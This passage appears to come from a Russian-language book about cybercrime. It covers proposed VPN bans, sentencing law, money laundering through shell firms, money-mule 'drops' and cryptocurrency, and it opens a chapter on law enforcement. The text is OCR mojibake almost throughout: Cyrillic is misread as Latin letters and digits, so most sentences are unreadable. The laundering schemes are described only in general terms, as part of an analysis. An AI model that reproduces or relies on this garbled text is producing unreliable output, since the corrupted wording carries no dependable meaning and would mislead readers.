B pe3y/bTaTe HeCJIOKHBIX MaHUITYJISILIVIN M OUeHb 3a/iellieBO (BOCIO0JIb30-
BaBILIMCh TEM K€ BbIeJIeHHbIM CepBepoOM) IMOSHATh ITPOCTeHbKMU VPN.

Eciu Ha 3TO y O/Ib30BaTe ISl He XBATUT 3HAHMI, KaXKI bl MOXKET BOC-
M0JIb30BAaThCsI MUJIJIMOHOM YKe QYHKIIMOHUPYIOUIMX cepBepoB. Toraa
O6ynyT 6;0KMpOBaThCs Bce 3apybeskHble IP-ampeca? TexHuyeckue KOH-
CYJbTAHTBI, TI0 BCEJ BUAMMOCTH, BBIXOAMIN TIOKYPUTH BO BpeMsi 06-
CY)XOeHUSI OUepelHOI CeHCAlMOHHOM 3aKOHOLATeJbHO MHTEepHeT-
MHUIIMATUBLI. [IJIST TOTO YTOOBI 3aIPeTUTh MCMHoMb30BaHue VPN, HY;KHO
3anpeTuTb HTEpHeT.

Heob6xoaumo yaensiTb BHMMaHMe BbIpabOTKe CUCTeMbl YMHOI (TO-
YeYHOJi) GJIOKMPOBKM, HO B TE€X CJTyYasix, KOTHAA IPYTMX METOMIOB ysKe He
octaetcsi. OCHOBHOJA ke yIop 1eecoobpasHo menaTh Ha 3G PeKTUBHbIE
MexaHM3Mbl paccieOBaHNUs ¥ HaKa3aHUs IPecTyIHUKOB. CBOeBpeMeH-
HOE BBISIBJIEHME U IpecedyeHre OesiTeIbHOCTYU 3JI0YMbIIIJIEHHMKOB C He-
MMHYyeMbIM HaKa3aHMeM pelllaeT O0JbIIyI0 YacTh MpobieM.

[TyTb TOTaNbHBIX 3aIIPETOB OYEHD IIPOCT, HO OH BeJIET HE B Ty CTOPOHY.
3arnpeTuTh Ha 6ymare MOKHO Bce: caifTbl, SIM-kapTsi, VPN. MoxeT, Bce-
TaKM HY;KHO OOPOTHCSI C TIPECTYIUIEHUSIMU U ONITUMMU3UPOBATh paboTy
MPaBOOXPaHUTEbHBIX OPTAaHOB, & He 3allpellaTh BCe, YTO IBUKETCS?

KoHeuHO, nipuBeleHHbI 3aKOHOIMPOEKT ¥ BBOAMMbIE TOIIPABKU HU-
KaK He MOBJIMSIIOT Ha CTPEMUTEbHBIN pPOCT KubeprpecTynHocTu. Kak
y>Ke TOBOPUJIOCH, OJIsI KMOepIpeCcTyIUIEHUT MCIIOMb3YIOTCS PecypChl
(B TOM uMciie GpUIIMHTOBBIE CaliThl) HA CBEKMX JOMEHHBIX MMeHax U IP-
azipecax, IO3TOMY MOJIOXKUTETbHBIX CIBUTOB B 60pbOe He MpeaBUANTCS,
Y HETIPUSITHOCTEN AJ151 37I0YMBbIIIJIEHHUKOB TOXe.

OrpaHuyeHusi, BBOAMMbIe 3aKOHOM!, BCe-TaKu OTHOCSTCSI K M3BeCT-
HBIM pecypcaM 5KCTPeMMUCTCKOJ HaIpaBJIeHHOCTU U, CKOpee, IpeaHa-
3HAUeHbI HA OTCEB PAa3JIMYHOTO POJla HE3aKOHHOI MpoIaralapbl, a K Ku1-
6epripeCcTyITHOCTY ¥ aHOHMMHOCTY OTHOILIEeHMSI He MMEIOT.

Ec/iu mpucMOTpeThCsl TIOBHMMAaTeIbHee K CTaTUCTUKe?, TO OKaxkeTcs,
YTO OpraHM30BaHHBIX I'PYII, TVIOTHO 3aHMMAIIUXCS TeM ke hUILNH-

I ®epepanbHblii 3aKOH OT 29.07.2017 N2 276-D3 «O BHeceHum m3MeHeHUit B Depe-
panbHbIi 3aKOH “O6 MHpOpMaIy, MHGOPMALIMOHHBIX TEXHOJIOTUSIX U O 3aIlUTe
uHbopmauum”». URL: http://www.consultant.ru/document/cons_doc_LAW 221230/.

2 https://www.antiphishing.org/resources/apwg-reports.
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roM, He TaK MHOTO (TI0 pacyeTam aBTopa, B paitoHe ot 200 mo 250), erre
MeHbIIIe TeX, KTO BCepbe3 3aHMMaeTCsl pa3paboTkoit 3¢ deKTUBHBIX Bpe-
IOHOCHBIX IporpaMM. Bpoze 6bI MOSKHO U OZI0JIeTb.

OnHako TeHAEeHLMM IPUHMMAEMbIX 3aKOHOAATEIbHBIX MEDP B CEKTOPE
MHGOPMAaIIOHHO-TeJIEKOMMYHMKALIMOHHbBIX TEXHOJIOT M1 BbI3bIBAIOT He-
KOTOpbIE€ COMHEHMSI.

Hab6ogaeTcst moka He BbIpaskeHHOe, HO TTOCTeINIeHHOE IBVDKEHME K I10-
nuTHUKe 6e3oracHocT MHTEepHeTa, mpuMeHsieMoil B Kutae, roe mocTytn
K MHOCTPaHHbBIM pecypcam U3HYTPU OTPAHUIYMBAETCS IPABUTETbCTBOM,
a KasKIblii caiiT, pacIioNoKeHHbIN Ha TeppuTopum Kurast, mpoxoauT oosi-
3aTebHYI0 PerucTpauyio B MUHUCTEPCTBE NPOMBIILIEHHOCTU U UH-
(bopMalVOHHBIX TEXHOMOTUH. Tak pemman CrpaBUTHCS C MTPo6IeMoii
BBISIBJIEHMS 3JIOYMBIIJIEHHMKOB, Pa3MellaloliX He3aKOHHbBI KOHTEHT.

[TonuTMKa NOCTOSIHHBIX 3aIIPETOB HAIIOMMHAET HEOTIBITHOTO IMOJIb30-
BaTess 1 dalipBon!, Koraa mojib30BaTeb OTK/IIOUaeT MOPT 3a ITIOPTOM 10
TeX IOp, TOKa He OKa3bIBAeTCSl OTPE3aHHBIM OT BCEro mupa. Tak MOKHO
noytu u 0o momenu ciaBHoi Kopeiickoit HaponHo-JleMmokpaTnuyeckom
Pecrry6iuKu, Te JIUIIb OTAe/bHbIe OpraHM3aIy MOTYT UMEeTh OrpaHu-
YeHHbIN JoCTyl B VIHTepHer.

BBeneHMe HOBBIX HOPMATMBOB, KaK OOBIYHO, ITPOMUCXOAUT Ha (oHe
oTcyTcTBUS 3G (PeKTUBHOCTM paHee BBeeHHbIX. K ITpumMepy, 10 CUX 11OP
He BCe MMPOBaiifepbl, OKa3bIBaKOIIMe YOIYTU 10 AOCTYITY K ceTu IHTepHeT
B Hallleii CTpaHe, MOT'YT IIPeOCTaBJISITh IPAaBOOXPAHUTEIbHBIM OpraHaM
aJleKBaTHYIO0 MHPOPMAIINIO 00 aOOHEHTAaX.

YacTo Ha CBOM 3ampoChl MPaBOOXPAHUTENN IOMYUalOT TPUOIN3U-
TEJIbHO TaKye OTBEThI: «Apec XXX.XXX.XXX.XXX, YKa3aHHbII1 B BallemM
3arpoce, UCII0JIb3yeTCs Ha HalleM cepBepe ceTeBoil TpaHwsiuun (NAT),
MpeIoCTaB/IsIIoIEeM VHTepHET IPUMEPHO ThICSIUe HAIIMX aOOHEHTOB.
Camu abBOHEHTBI MCITO/Ib3YIOT BHYTPEHHME aJipeca, He MapIIpyTu3npye-
Mble 13 HTepHeTa, Buaa 10.zz.XX.yy».

3akoH «O CBSI3M» IeCTBYeT NABHO, & CMCTEMbI TEXHUYECKUX CPEICTB
s obecriedyeHMsT PyHKIMUI OMlepaTUBHO-PO3bICKHBIX MEpPOIPUSITHUIA,
MpelyCMOTpEeHHbIe [1J1s1 BHeApeHMs ollepaTopam CBsI3Y B 00s13aTe/IbHOM
MOpsiiKe, BHEAPEHBI JaJIeKO He BCeMM IpOoBaiiiepamu, 4To, BIIPOUEM,
HMKaK He MelllaeT UM OCYILIECTBJISITh CBOIO IeSITeTbHOCTb.

U daiipson (Firewall) — cucTema, oCyIecTBIISIONAS KOHTPOIb U (UIbTPALIMIO ITPOXO0-
ISIIEro ceTeBoro Tpaduka B COOTBETCTBUM C 3aJaHHBIMY ITPaBUIAMMA.
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B03MOXHO, 1CIIOIb30BaHNe CpeACTB aHOHMMHOM CBsI3U (SIM-KapThl,
VPN u rpouee) He06XOAMMO pacCMaTPUBaTh KaK 00CTOSITEIbCTBA, OTSIT-
yallye yrojloBHOe Haka3aHye BUHOBHBIM BBUY TOTO, YTO OHU YBeJIV-
YMBAIOT CTEIIeHb OOIIECTBEHHO! OMAaCHOCTY JesTHUS.

Hano cka3artp, 4TO MIer0 pacCMOTPEHMS UCIIOIb30BAHUS TEJIEKOMMY-
HUKALMI KaK OTATYAIOMIX 0OCTOSITENTLCTB TPV COBEPIIEHNY ITPECTYILIe-
HUIi B OJHOJ 13 Gece[i ¢ aBTOPOM BbIcKa3biBad E. A. Muxases!.

Cpeny TakuxX OOCTOSATENBCTB B OTEUECTBEHHOM 3aKOHOATEIbCTBE?,
HalpuMep, IPpU3HAETCs COBepllIeHMe IIPEeCTYIIEeHUS C UCII0b30BaHMEM
dbopmeHHOIi ofeXabl WiIN NOKYMEHTOB MpeACTaBUTess BIaCTH, COBEp-
LIeHye IPecTyIIeHUSI B COCTaBe TPYIIIbI JINL, TPYMIIbI JULL 10 TIpef -
BapUTEJIbHOMY CTOBOPY, OPraHM30BaHHO TPYIIIIbI UM MIPECTYITHOTO
coobiiecTna.

demepanbHbIM 3aKOHOM OT 21.10.2013 N2 270 mob6aBjeHa BO3MOXK-
HOCTB®, P Ha3HAUEHMM HaKa3aHMS CyIOM, B 3aBMCUMOCTH OT OOIIeCT-
BEHHO ONaCHOCTU U JIMUHOCTY BMHOBHOTO IPU3HABATh OTIrYarOLIMM
06CTOSITETLCTBOM COBEpIIIEHME TTPECTYIIJIEHNUSI B COCTOSTHUM OTTbSTHEHUS
(aJIKOTOJIBHOTO, HAPKOTUYECKOI'0 U MIPOUYMX).

Kaxk yske yIIOMMHA/IOCh B Havasie KHUTU, KMOePIIPeCTYITHUKA TIPU CO-
BepIlleHMM HeIllpaBOMEePHbIX MeiicTBUit, 6yab TO MUIIMHT UK Joboe
Ipyroe MpecTyIlieHle, coBepiiiaemMmoe C MCIoab30BaHeM MHMOpMalu-
OHHO-TeJIeKOMMYHUKALMOHHBIX CeTel, MOIb3YITCSI TEM, YTO BEPOSIT-
HOCTb OBITh BBIYMCAEHHBIM MPaBOOXPAHUTEIbHBIMM OpraHamy Masa,
a 1maHc n306ekaTh OTBETCTBEHHOCTH AaXke IPY BO3MOXXHOM BbIUMCII€HUN
IOBOJIBHO BBICOK.

[TosTOMY MOKHO MPOHMYHO KOHCTATUPOBATh, UTO KMOEPIIpECTyILIe-
HMS B Hallleli CTpaHe COBEepIIAlOTCSA B COCTOSSHUM OTIbsIHEHUS OT YyBCTBA
6e3HaKa3aHHOCTIA.

MuxaneB EBrenmii AnekcaHApOBUY, B HACTOSIIEE BPpeMs 3aMeCTUTe/b HadabHMKa
Yrpasnenus «K» BCTM MB]I, Poccun.

2 Cratbsa 63 YK PO «O6cTOSITENIbCTBA, OTsArYamoimue Hakasanme». URL: http://www.
consultant.ru/document/cons_doc_LAW_10699/31577810105ef97a75f2f49154b1ald3
803ffe52/.

5 ®enepanbHbiit 3aK0H OT 21.10.2013 N2 270-®3 «O BHeceHUM M3MeHEHMSI B CTaThIO 63
VYronmoBHoro kopekca Poccuiickoit ®@epepauuu». URL: http://www.consultant.ru/
document/cons_doc_LAW_153467/.
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3.3.3. Uucmpymenmesl ynpaeneHusi puHaHcamu

Eciu 1ie/1bi0 KMOEepIpecTyIvieHus IBsieTcsl GMHaHCOBas BbITO/A, 3HA-
yuT, 6yAyT HE0O6X0mMbl (DMHAHCOBbIE MHCTPYMEHTHI, TO3BOJISIIONINE
TIPUHSTH A€HEeXXHbIe CPeJiCTBA U ITyTeM HeCI0KHBIX MaHUITYJISILINIA TTOJTY-
YUTh UX HA PYKU B BUJE OAHON U3 MTOMY/SIPHBIX BaIIOT.

BaskHYIO POJIb AJ1S1 pa3BUTHUSI KUOEPIIPECTYITHOCTH, BKITIOUAS XUIIIEHM e
IleHEeKHbIX CPECTB, MOILIEHHMYECTBO U IIIAHTaK, CbIrPajia BO3MOYKHOCTh
TOJTyYeHUsI JeHEKHOTO BO3HATrPaXKAEeHMsI MacCoil TPYAHO OTC/IeKMBae-
MbIX WJIM BOBCE HE OTCIEXMBAEMbIX METOIOB.

[ToxuilleHHbIE MM TTOyYEHHBIE ITyTeM BbIMOraTe/JIbCTBa U IIaHTaXa
IleHesKHbIe CPeACTBa 3JI0YMbIIIEHHMKAM HY)XKHO ITepeBeCcTy Ha KaKoii-
MO0 TOAXOASIINI CUET U ITyTeM ObICTPBIX M HAZEXKHBIX OoTepanuit 06-
HaJIMYUTH B camoe byvkaiiiiee BpeMs.

[71aBHBIM MTOZAPKOM [J151 3/T0YMBILIJIEHHUMKOB CTaJIa CUCTeMa AUCTaH-
IIMOHHOTO 6AHKOBCKOTO OOCTYKMBaHMSI, MTO3BOJISIIONIAST TTOCPEICTBOM
ceTu ITHTepHeT NOAK/II0YATHCS K PACUETHOMY CYETYy OpraHu3anum, CYeTy
6aHKOBCKOJ KapThl, IPOBEPSITh OasaHC, COBEPIIATh OTlepalyum 1o Iepe-
YUCJIEHUIO JeHEKHbBIX CPENICTB.

ABTOp He CUMTaeT HY)XHbIM pacCMaTpuUBaThb BO3MOKHOCTU IO UC-
TI0JIb30BAHMIO 3JIOYMbIIUIEHHUKaMU 3apy0ekHbIX 0h(IIOPHBIX CYETOB,
MIOTOMY UTO ¥ 6€3 HUX MHCTPYMEHTOB IS YIIPaBIeHUSs TTOXUIEeHHbIMMU
(buHaHCcamMM BIIOJIHE TOCTATOUYHO.

Elre pa3 MOXHO BCIIOMHUTD C/Iy4yali XUIIEHUS AEeHEXHBbIX CPeACTB
Y OTHOTO 13 KPYIHbIX OTeUeCTBEHHBIX OAHKOB, KOT/Ia IJIs1 BBIBO/IA JBAI-
1IaTV MUJIJIMOHOB Py0JIeii MCII0Ib30BaIOCh Oojiee 1mecTy Thicsiu SIM-KapT
OTeueCTBEHHbIX OTIEPATOPOB CBSI3U, KOTOPbIe 6bLTM OPOPMIIEHBI Ha IO/ -
CTaBHbIX JIAII.

JLJ1s1 TepBUYHOrO MpreMa He3aKOHHbBIX IeHEXKHBIX CPeJICTB Yallle Bce-
'O MCITOTb3YIOTCSI pacyeTHbIe cueTa, OTKPhITbIE Ha OOIIECTBA C OrpaHu-
YeHHOM OTBETCTBEHHOCThI0 — OOO, KOTOpbIe OTKPBLIBAKOTCS HE paau
KOMMeEPUYECKOI IesITeIbHOCTH, a KaK pa3 IJisl OIyYeHUsI U JaJbHeIe
OTCBUIKM HE3aKOHHBIX CPeNCTB. DTO TaK Ha3bIBa€Mble «OIHOIHEBKM».

VripaBijieHMe pacyeTHbIM CYETOM OCYIIECTBJISIETCSI TOCPEACTBOM CU-
CTeMbI JUCTAaHIMOHHOTO yIIPaBJIeHMS, TO3BOJISIIONIE IPOBOAUTD OIlepa-
MY U3 JII0O0 TOUKM 3eMJIH, TAe eCTh IOCTYII K ceTu VIHTepHeT u cep-
Bepy OaHKa.
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Kpome «omHOOHEBKM» M PACUETHOTO CUETA, 3JI0YMBILIJIEHHUKU UC-
TMOJIb3YIOT OAHKOBCKME KapThl, 3aPErUCTPUPOBAaHHbIE HA JAPOIOB — Gu-
3uyeckux auL,. IIpu camoir mpocToil cxeme rnepeBefeHHble MOIIEHHMN-
YyeCcKMM IyTeM AeHeXHble CpPe[CTBa MOCTYIAKT HAa PacYeTHbIN CYeT
(bupMBbI-OJHOOHEBKY, TTOC/Ie Yero pa3bpachlBalOTCS Ha KapThl IPOIIOB
M 0OHAIMYMBAIOTCSI APYTUMM IpOINamMy B 6aHKOMAaTax.

He Gymem JauUTh BOIbI, OTPAHMUMMCS ITPOCTOM KOHCTaTaluen ¢ax-
Ta. 3apernucTpUpoOBaTh OOIIECTBO C OTPAHMYEHHO OTBETCTBEHHOCTDHIO
C TIOACTAaBHBIM yupeauTenemM U OUPEKTOPOM, OTKPBITh JOCTYITHBIN OJIs
yIaJIeHHOTO yIIpaBJeHMsI pacueTHbIN cyeT B JII0OOM pernoHe Poccun
MO>KHO 3a cuMTaHHble fHU. OTAenbHas KaTeropus aul Cuenuaansupy-
eTcsl MMEHHO Ha ToM, uTo peructpupyet OO0 1 opopmMiIsieT cueTa <o/
KJIFOY» [1J151 TIpelOCTaB/IeH s B IT0JIb30BaHMe Pa3IMUHONM KaTeropmm mnpe-
CTYITHUKOB.

Takue opraHu3auyuy MOTYT MCITOIb30BAaThCS IJIsI OOHATMYMBAHMS Je-
HEXHBIX CPeNCTB MAM KaK OJHO U3 3BEHbEB MepeKayky He3aKOHHBIX
CpencCTB.

BcriomuHaetcs 3unnpencenaresib OyHT U3 poMaHa «30JI0TO Tese-
HOK», O/IMCTaTeIbHO CIIPaBJISIOMINIACSI CO CBOel mpodeccueil — HOMM-
HaJIbHBIV PYKOBOANUTEb (PMPM-OOHOLHEBOK, OPTaHM30BaHHbBIX 151 He-
3aKOHHBIX JeiCTBUIL.

K coskasieHnto, B 1e/iCTBUTENbHOCTY TeHepasbHble 3ULITIpeacesaTe/n
bupM-ogHOAHEBOK He «CUASIT» U He HeCcyT B Poccuy HMKAaKOTO Hakasa-
Husi. OHM YeTKO IO, IOTPOC, eCJI 10 3TOTO BOOOIIE TOXOAUT, TOBOPSIT
3ayueHHbIe (pasbl ¥ OCTAIOTCS CBUAETENSIMMU.

BbITyeT MHEHMe, UTO Ha POJIb HOMMHAJIbHBIX PYKOBOAMUTEJIEN IO -
6uparoTcsl pa3HOro popa Juiia 6e3 orpeneieHHOTO MeCTa JKUTEeIbCTBA,
aJIKOTOJIMKY, HEHOPMaJIbHbIe M HapKoMaHbl. OGHAKO 3TO Aa/ieKo He BCer-
na tak. Hacrosue 3uinipeacenaTen COBpeMeHHOCTU, OUeHb MICKYCHO
CIIPABJISIIOIIMECS C POJIbIO AYPAYKOB, TIOHMMAIOT, YTO 3aKOHOaTeNbHbIE
aKThbl, MPeAIChIBalOI/ie OTBETCTBEHHOCTb PYKOBOAMTEIS 32 (PMHAHCO-
BO-XO03SI/ICTBEHHYIO JeSITeJIbHOCTh Ha MPAaKTUKe, He paboTaloT.

Kakine 0OBMHEHMSI MOXKHO IPEIbSIBUTh TeHEPAJTbHOMY IVPEKTOPY
00O «PUK», KOTOpPBIN YyTBEPXKAAET, YTO 3aUMCII€HHbIE HEM3BECTHO OT-
KyZla Ha paCueTHbIN CYeT OpraHm3alumn JecsiTb MUIJIMOHOB HEU3BECTHO
KeM ObLIM pa3bpocaHbl HA OAHKOBCKME KapThl HEM3BECTHBIX eMy (pu3u-
yecKux Jinil (IporoB). Kioun 1 maponmn, Heooxoaymble IJIsT IUCTaHIIM -
OHHOTO yrpasjaeHus cuetom cBoero OO0 «PUK», reHepaibHbIN AUPEK-
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TOp MOTePsiI, UM UX YKpaiu 3101eu. 1 aTa Bepcus Kak HeJlb3sl JIydllle
MOATBEPKIAeTCSl TeXHUu4Yeckoi nHpopmalmeit n3 6aHka, B KOTOPOM OT-
KPBIT cueT (pUpMbI-OAHOAHEBKM: TPaH3aKIMM TJIATEKHBIX Orepainii
MIPOBOAMNCH C UCIIOAb30BaHMeM IP-ampecoB u3 apyroro ropoga, rie
Halll 3ULITIpeceIaTeIb HUKOTIA He ObIBaJ.

B yactu, Kacatoiieiicss MHCTpyMeHTOB YIIpaBjieHNsI He3aKOHHbIMU G-
HaHCAMM, XOUETCSI YIIOMSIHYTh ¥ CTapbIX-I00PBIX IPOIIOB.

Iporm — 3TO, KaK MpaBuUJI0, He TIOCBSIIIeHHOEe B AeTasau MPecTyITHO
CXeMbl JIMII0, UCII0JIb3yeMOe IJis OTIe/JIbHOTO IeiiCTBMS, KOTOpOe caMo
1o cebe He sBjseTCsl mpecTyiyieHneM. K nmpumepy, APOINOB UCIHOJb-
3YIOT 1St oopMIeHMST Ha UX UMSI 6AHKOBCKMX KapT M pPa3IMUHBIX
9JIEKTPOHHBIX CYETOB MJIM OOHATMUMBAHMS e HESKHBIX CPEJICTB C IIac-
TUKOBBIX KaprT.

PaccmaTpuBaTh MX MPUYACTHOCTD K MPECTYIVIEHUI0 MOXKHO TOJTbKO
B C/lyyae MOJyUYeHUs] MMM YacTU YKpaJleHHbIX JeHEKHbIX CPeICTB UIN
OCBeJIOMJIEHHOCTY O He3aKOHHbIX IeiCTBUSX, YaCTbI0O KOTOPBIX OHU SIB-
JISTIOTCSI.

ITO siBJIeHMe MPUILJIO K HAM OueHb JaBHO M Ha CaMOM Jiejie Majio uemM
omM4aeTcs ot pupm-ogHogHEeBOK. OMH APOIT MOKeT 6€CKOHEYHO OTKPbI-
BaTh cueTa ¥ GAHKOBCKME KapThl BO BCex GAHKaX M MPOAABATh UX BMeECTe
C IPUBSI3aHHO CMM-KapTo¥i JJIs1 MCII0/Ib30BaHMSI 37I0YMbIIIIJIEHHUKAM.

st coep>KMBaHUST M TIpecevyeHust 3JI0yroTpedieHnit ogqHOoHEeBKa-
MM ¥ OAHKOBCKMMM KapTaMM APOIIOB HEOOXOAMMO pa3pabaThiBaTh
" BHeOpsTbh MHOOPMALIMOHHYIO CUCTeMy O (DMHAHCOBBIX OIepalusx,
BK/TIOUAIOIIYI0 B ce6s1 BCce KpeauTHbIe OpTraHu3aluy, JeiCTBYIOIIe Ha
TepPPUTOPUM CTPaHbI, C JOCTYIIOM K AAHHBIM COOTBETCTBYIOIIMMU Mpa-
BOOXPaHUTEIbHBIMIM OpraHaMM.

CrpaBeAjiMBOCTM pagy HY>KHO 3aMeTUTb, UTO B KOHTPOJIe 3a pMHaH-
COBBIMM TOTOKaMM TOSIBJISIIOTCS TIOJIOXKUTE/bHBbIE COABUTU. EC/i BepUTh
rnaBe PocmHMOHMUTOPMHTA, He TaK JaBHO AejaBlleMy OOK/aJ IyiaBe
rocygapcrBal, ToO COOTBETCTBYIOIIME MHCTPYMEHTbI IIO3BOJISIIOT BbISIBIISITh
M OTKa3bIBaTh OaHKAM B ITPOBENEHUM OMepalnii U B OTKPBITUM CUETOB
ompeneneHHbIM K/ieHTaM. B ylmoMsIHyTOM JoK/IaZie 03ByuMBaaach ud-
pa — 460 TbICSIY OTKA30B.

! TnaBa PochmuMoHmMTOpMHra MHPOpMMpoBan IlpesumeHTa O TeKyllei aesTesnb-
HOCTU BemomcTBa. 23 oktsaops 2017 roga. URL: http://kremlin.ru/events/president/
news/55895/.
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Peub uaeT 0 BbIBOZE E€HEKHBIX CPEACTB 3a pydek 1 6ojee 1106asib-
HBIX TIpobsemax B macmitabax crpaHbl. Ho Beb K1bepIrpecTymnHOCTh
TOXXE PacTeT, U 06bEMbBI TTOXUIIAEMBbIX CPEJICTB BMECTE C Hel0; KaK ykKe
YIIOMMHAJIOCh, TI0 JaHHBIM OUIMATIbHOM CTaTUCTUKM B Poccuu 3a miep-
Boe nonyroavie 2017 roga yiiep6 ot KubeprpecTyIuieHnit cocTaBui 60-
nee 18 muH mosmapos CIIA!.

KoHeuHo, 03ByueHHbIe [0. A. UxaHUMHBIM JOCTMKEHUS He KacarTcs
3aTPOHYTHIX aBTOPOM MpOo6JieM HAIpsIMyl0, HO OHU Je€MOHCTPUPYIOT
Ha/In4yyie BO3MOXKHOCTY MPOBOAUTH aHAJIOTUUHBI/ KOHTPOJb 3@ «OHHO-
IHEeBKaMM» U APOMaMM. A 3TO TIpUHECTO 6bI HeMaJibie TTPOGIeMbI 3710-
YMBIIIUIEHHMKAM ¥ TIOMOTIJIO OBl MIOTEPIIEBIIMM BEPHYTb YKpPaJeHHOE
IIpY CBOEBpPEeMEeHHBIX MepaxX pearumpoBaHusl.

OTy nMpobjieMy MOXXHO PelinTb, M He TaK MHOTO IJisl 3TOT0 HY>KHO
caenatb. Ho MOSIBISIOTCS HOBbIE Cpe/CTBa IIaTexKei, MCIob3yeMble
B KubepripectyruieHusx. UTo menath ¢ HUMMU?

OneKTpOHHbIe KOIIeJIbKY, ykKe MPOUYHO BOolleJlie B Hally MOBCe[-
HEBHYIO KI3Hb, TAKXKe CTaJ/IM 13/1100IeHHbIM MHCTPYMEHTOM J/J151 YIIpaB-
JeHus COMHUTeNbHbIMMU uHaHcaMu. C UX CyllleCTBOBaHMEM 3aKOHO-
IaTe/bCTBO U MPaBOOXPaHUTeIbHASI CUCTEMA YK€ CMUPUINUCh, U UX
MCITOJIb30BaHMe He BbI3bIBAET OCOOBIX OTIACEHMUIA.

Pa3Be UTO COBCeM He pacCMaTpUBaeTCs AesTe/bHOCTb MHOTOYMC-
JIEHHBIX OHJIa/iH-0OMEHHMKOB, 32 KOTOpbIE JABHO TTOpPa ObI B3SIThCS, HO
YTO-TO ITOKa HeKOMY. OHJIaiTH-0OMEeHHMKM ITO3BOJISIIOT TTIEPEBECTU OIHY
9JIEKTPOHHYIO BaJIOTy B APYIYyl0, COOTBETCTBEHHO, MPOJie/iaB 3TOT He-
CJIOKHBIN MaHeBP HEeCKOJIbKO pa3, MOXKHO JOCTaTOUHO Cepbe3HO 3aMeCTU
C/Iebl, 8 YYMUTHIBASI, UTO TaKye OOMEHHVMKN He TIOIUMHSIIOTCS HUKAaKOMY
3aKOHOJATeIbCTBY, TPABOOXPAHUTENSIM 3TO OCTABJSIET OOMOTHUTEb-
Hble HEeyIoOCTBa.

Tem He MeHee, TIOBTOPSISICh, MOSKHO 3aK/IIOUUTD, UTO CPOK 3KCILTyaTa-
LMY 37IeKTPOHHBIX KOIIeJbKOB IOBOJbHO Cepbe3HbIii, TO3TOMY U MeXxa-
HU3M UX OTPabOTKM yKe chopmMmpoBaICs.

A BOT KPpUIITOBAJIIOTA... BRBIMOraTeabCTBO B OMTKOMHAX — 3TO YK€ He
HOBOCTb. Ta caMast u3BecTHas IIomaaKa (61psKka), KOTOPYIO CBSI3bIBAIOT
C IesITeTbHOCTBIO XaKepCKo¥ I'PyIINbl, IpoJaBaia JUYHYIO IMepeniucKy
YMHOBHMKOB U GM3HECMEHOB MMEHHO 32 KPUIITOBAJIOTY.

L https://genproc.gov.ru/smi/news/news-1237284,/.


https://genproc.gov.ru/smi/news/news-1237284/

LOCTYNHOCTb MHCTPYMEHTOB AHOHMMHOW CBA3M M YNPABNEHWUA PECYPCAMU 167

—————————————

C mepBbIMU BUpYyCaMM-MIMPOBATbIMKAMM, KOTOPbIE TPe6OBAIM [IJIsT
pacibpoBKY C TOTEPIEBIINX AeHEKHbIE CPeNCTBA B OUTKOMHAX, aBTO-
py NMPUIITIOCh CTOJIKHYTBCS enle B 2013 roxy.

JlerkoBepHbIe U, MMOXKaIYi, HeAATbHOBUAHBIE, KaXKIyIIye oborarie-
HUSI TPaKIaHe BKJIAIbIBAIOT IeHbIM B «(epMbI» 10 TOObIUE OUepegHOI
KPUIITOBAJIIOTHI, & 3/I0YMBbILIJIEHHUKN UCIIONb3YIOT ee [J1s1 COKPBhITUS CJie-
IOB MMPeCTyIUIeHMs 1 6€30IacHOrO MOTYyYeHNS] He3aKOHHBIX JIeHeT.

Hy>KHO MCXOAUTD M3 pa3yMHOCTH. JIT0Oble JeHesKHbIe CPeaCcTBa XOpo-
LY TOJIbKO TOI[A, KOTAa X MOXXHO KOHTPOJIMPOBATD.

KoHeuHO, eciii HMUYero He U3BECTHO O TOM, KaK MOXKHO KOHTPOJIMPO-
BaTb KPUIITOBAIIOTY, 3TO HE O3HAyaeT, UYTO Cero NMPUHLUMUINAIBLHO He-
BO3MOXHO chesaTh. [loceMy B KauecTBe eMHCTBEHHOTO OOBbSICHEHUS
He3I0POBOrO MHTepeca K KPUIITOBAIOTAM CO CTOPOHbI BBICOKMX UMHOB
MOXXHO JIOTIYCTUTDb HaJIMuKe 34,0pOBOro, HO OYeHb XUTPOro riaHa. Ecin
TAKOTO IJIaHA HeT, TO 6e3/elicTBMe MO0 MpU3HAHME KPUIITOBATIOTHI
CTaHeT JOIOJHUTEbHbIM KaTa/IM3aTOPOM POCTa MPECTYIHOCTH, U, pa3-
yMeeTcsl, He TOJIbKO KMOepIpecTyImTHOCTH.

OpHako, Kak nucajn yBaxkaeMblii 3urMmyHz, @peiifl, 4eJioBeKy CBO-
CTBEHHO CUYMTATbh HEIPaBUJIbHBIM TO, YTO €My He HPaBUTCS, U TOTHA
JIETKO HaXOZASTCS apryMeHTbI [1JIs1 BO3paskeHmit!.

! ®petio 3. BeeneHue B ricuxoaHanu3s: gexiun. CI16.: Anereiist, 1999.
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NMPOTUBOAENCTBUE U 3ALLMTA

4.1. MpaBooxpaHuUTeNbHasA cucTEMA

BosbIas yacTh YrOJMOBHBIX Ael B Poccuy 1o mpecTyrieHUsIM, CBSI3aH-
HbIM C KubepaTakamMu, BO30OyKaaeTcs MO MaTepuaaam, comepsKauyum
pe3y/bTaThl ONlepaTUBHO-PO3bICKHBIX MEPOTIPUSITUT CIIelMaTU3POBaH-
HbIX noapasaenenunin MBI Poccum n @CB Poccun.

VY Hac o4eHb JIIOOSIT BCe U BCSI KPUTUKOBATh. KpUTUKOB OoJibIlle, YeM
pabounx, 3aBOIbI CTOSAT... CJIOBO «KPUTUK» KaK-TO YTPATUIO CBOE 3HA-
yeHye. OHO MPOM30IIIO OT FPeYeCKOro «MCKYCCTBO pa3bmpaTh, CyAUTb»,
M paHblile K JaHHOJ KaTeropmu JioJeit 6blI0 MIPUHSITO OTHOCUTD CIie-
LIMaMCTOB B Kakoii-nnbo cepe. CerogHs Bce, KTO MMeeT TOCTYII K CETU
NHTepHeT, — KpUTUKN.

Kaskmplii 6yiorep cumMTaeT cedst CIIeaaiCTOM BceX 0e3 MCKIIYeHMS
obsacTeit HayKM U UCKyccTBa. [Ipuiiiesn B pecTopaH — HaIucaa O pecTo-
paHe, HAyYMJI BCeX FOTOBUTD, Cel B BaroH — HayYmMJl MaIlIMHUCTA, TIPU-
111eJ1 B TIOJIUIMIO — TIOJETJICS OUepeIHO Topliyeii HelmogKperieHHOTO
CcyobeKTMBM3Ma. M uem skecTue KpUTUK oOpyraeT 4To-11b0, TeM 6ojee
Cepbe3HbIM IKCIIEPTOM OH ce0st OyIeT CUUTATh.

OTO BCe K TOMY, YTO 38 MaCCUMBHBIMU OTJIOKEHUSIMU COBpPEeMEHHbBIX
